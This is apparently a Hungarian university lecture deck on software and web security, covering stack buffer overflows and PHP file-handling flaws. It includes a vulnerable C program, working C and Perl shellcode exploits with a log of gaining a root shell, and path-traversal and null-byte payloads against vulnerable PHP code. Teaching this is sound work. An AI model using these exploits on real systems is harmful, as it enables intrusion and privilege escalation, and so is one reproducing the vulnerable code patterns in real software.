Előadást letölteni
Az előadás letöltése folymat van. Kérjük, várjon
KiadtaAndrea Molnárné Megváltozta több, mint 10 éve
1
Széchenyi Isván Egyetem Számítógépes hálózatok II 1 Számítógépes Hálózatok II Széchenyi István Egyetem
2
Széchenyi Isván Egyetem Számítógépes hálózatok II 2 Programhibák Környezeti változó Temp fájl/könyvtár hibás kezelése I/O hiba A fent említett hibák megléte jelentősen csökkenti a rendszer biztonsági szintjét
3
Széchenyi Isván Egyetem Számítógépes hálózatok II 3 I/O kezelés Ellenőrzött INPUT!! Ellenőrzött OUTPUT!! Input adat megfelelő kezelése,memóriában való mozgatása Nem megfelelően kezelt I/O adatok nagy veszélyt jelenthetnek olyan programok Esetén, melyek magasabb privilégiummal futnak, mint a felhasználó jogosultságai
4
Széchenyi Isván Egyetem Számítógépes hálózatok II 4 Stack Overflow Hiba alapja a nem megfelelő memóriamozgatás Segítségével bármilyen kód végrehajtható Kihasználásához speciális körülmények szükségesek A technika és a hiba nagyon régi, mégis a mai napig megtalálható a rendszerekben. Rengeteg szervert és hálózatot törnek fel ezen technika alkalmazásával
5
Széchenyi Isván Egyetem Számítógépes hálózatok II 5 Stack Overlow alapok Memória felépítés (Verem,kód,adat szegmens) Verem felépítése,működése (LIFO) Milyen adatok vannak a veremben? átmeneti adatok környezeti változók, paraméterek rendszerváltozók ugrási táblázatok….
6
Széchenyi Isván Egyetem Számítógépes hálózatok II 6
7
7 Fontosabb regiszterek ESP (Stack Pointer, x86 architektúrán a stack tetejére mutat) EBP (függvények helyi változói,paraméterek,visszatérési cím(!!)) EIP (köv. végrehajtandó byte(!!)) A hiba megtalálása nagyon egyszerű, már létezik olyan fordító, mely észre is veszi a lehetséges veszélyeket
8
Széchenyi Isván Egyetem Számítógépes hálózatok II 8 Hiba kihasználása Etikus/etikátlan Shellcode (kritériumok) Esély növelése (NOP)
9
Széchenyi Isván Egyetem Számítógépes hálózatok II 9 Hackeljünk!
10
Széchenyi Isván Egyetem Számítógépes hálózatok II 10 Hibás példaprogram #include int main(int argc,char **argv){ char buf[256]; if(argc < 2) { printf("Usage: %s \n",argv[0]); exit(-1); } strcpy(buf,argv[1]); /* Boooom */} }
11
Széchenyi Isván Egyetem Számítógépes hálózatok II 11 /* c0dEd bY Depth fR0m HB S3CurTy tEAm*/ #include #define NOP 0x90 #define LEN 2048 #define RET 0xbffff000//0xbffffd18 int main(int argc, char **argv){ char shellcode[]="\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89\x76\x08„ "\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29\xc0„ "\x40\xcd\x80\xe8\xde\xff\xff\xff/bin/sh"; char buffer[LEN]; long addr = RET; int i;addr+=atoi(argv[1]); for(i=0;i<(LEN - sizeof(shellcode));i++){ *(buffer+i)=NOP; } for(i=0;i<300;i+=4){ *(long *)&buffer[i]= addr; } memcpy(buffer+(LEN-sizeof(shellcode)),shellcode,sizeof(shellcode)); execl("./test1","HBST exploit",buffer,0); return 0; } Biztonsági Audit C nyelven
12
Széchenyi Isván Egyetem Számítógépes hálózatok II 12 Biztonsági Audit Perl Nyelven #!/usr/bin/perl # Coded By Depth from HB Security Team $shellcode = "\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c"; $shellcode.="\x89\x76\x08\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d"; $shellcode.= "\x53\x0c\xcd\x80\x29\xc0\x40\xcd\x80\xe8\xde"; $shellcode.= "\xff\xff\xff/bin/sh"; $nop= "\x90"; $ret= 0xbffff000; $len=2048; $new_ret=pack("l",($ret + $ARGV[0])); for ($i=0; $i<$len; $i+=4) { $buffer.= $new_ret; } for($i=0;$i< $len - length($shellcode)-100;$i++){ $buffer.= $nop; } $buffer.= $shellcode; exec("./test1",$buffer,0);
13
Széchenyi Isván Egyetem Számítógépes hálózatok II 13 Hiba kihasználása srv-halx:/tmp$ id uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) srv-halx:/tmp$ for i in `seq 200 500`;do./expl1.pl $i;done ………………………… Trace/breakpoint trap Illegal instruction Segmentation fault Illegal instruction Trace/breakpoint trap Illegal instruction Trace/breakpoint trap Illegal instruction sh-2.05a# id uid=65534(nobody) gid=65534(nogroup) euid=0(root) groups=65534(nogroup) sh-2.05a#
14
Széchenyi Isván Egyetem Számítógépes hálózatok II 14 Webes biztonság Problémák: Nagy, összetett rendszerek Nem ellenőrzött INPUT Nem megfelelő jogosultságok Biztonság alapvető hiánya A problémák az egyszerű oldalaktól a bonyolult webes áruházakig megtalálhatók
15
Széchenyi Isván Egyetem Számítógépes hálózatok II 15 Könyvtárak, fájlok hibás kezelése I Legegyszerűbb eset: www.akarmi.hu/index.php?fajl=adatok.txt <?php …. fopen($HTTP_GET_VARS['fajl'], "a"); …… ?> Az adatok.txt helyére bármilyen fájlt megadhatunk aminek olvasásához a httpd-nek Joga van.
16
Széchenyi Isván Egyetem Számítógépes hálózatok II 16 Könyvtárak, fájlok hibás kezelése II Kicsit „biztonságosabb” eset: www.akarmi.hu/index.php?fajl=adatok.txt <?php $file = '/var/www/'.$HTTP_GET_VARS['fajl]; fopen($file, "a"); ?> www.akarmi.hu/index.php?fajl=../../file_amit_akarok Megfelelő védelmet nyújt minden esetben a teljes META karakterkészlet szűrése
17
Széchenyi Isván Egyetem Számítógépes hálózatok II 17 Könyvtárak, fájlok hibás kezelése III <?php $grep_file = preg_replace("/\.\.//i",'',$HTTP_GET_VARS['fajl']); $file = '/files/include/'.$grep_file; fopen($file, "a"); ?> Preg_replace() függvény kiszűri a../ karaktereket a fájlnévből. Trükk: …/…//…/…//file_amit_akarok Átalakítás:.../ ->. …// ->./
18
Széchenyi Isván Egyetem Számítógépes hálózatok II 18 Saját script futtatása Probléma: www.akarmi.hu/index.php?inc_text=oldal.php A probléma kihasználásának feltételei: egy szerver, melyen nincs php futtatási lehetőség saját script Ettől kezdve összetett programokat, exploitokat lehet futtatni melyek segítségével Akár Adminisztrátori szintre is lehet törni a célszervert.
19
Széchenyi Isván Egyetem Számítógépes hálózatok II 19 NULL byte Hexában %00 Mit jelenthet? (gondoljunk a C programozásra) Csak a meghatározott kiterjesztésű fájlokat lehet megnyitni: <?php $file = $HTTP_GET_VARS['fajl']; $file = $file.'.txt'; fopen($file, 'r'); ?> www.valami.hu/index.php?fajl=adatok.txt index.php%00.txt // index.php forrása!!
20
Széchenyi Isván Egyetem Számítógépes hálózatok II 20 Befejezés? Törekedjünk legalább a minimális biztonságra A lista nem teljes… Biztos, hogy hozzánk nem törtek be?
21
Széchenyi Isván Egyetem Számítógépes hálózatok II 21 Köszönöm a figyelmet
Hasonló előadás
© 2024 SlidePlayer.hu Inc.
All rights reserved.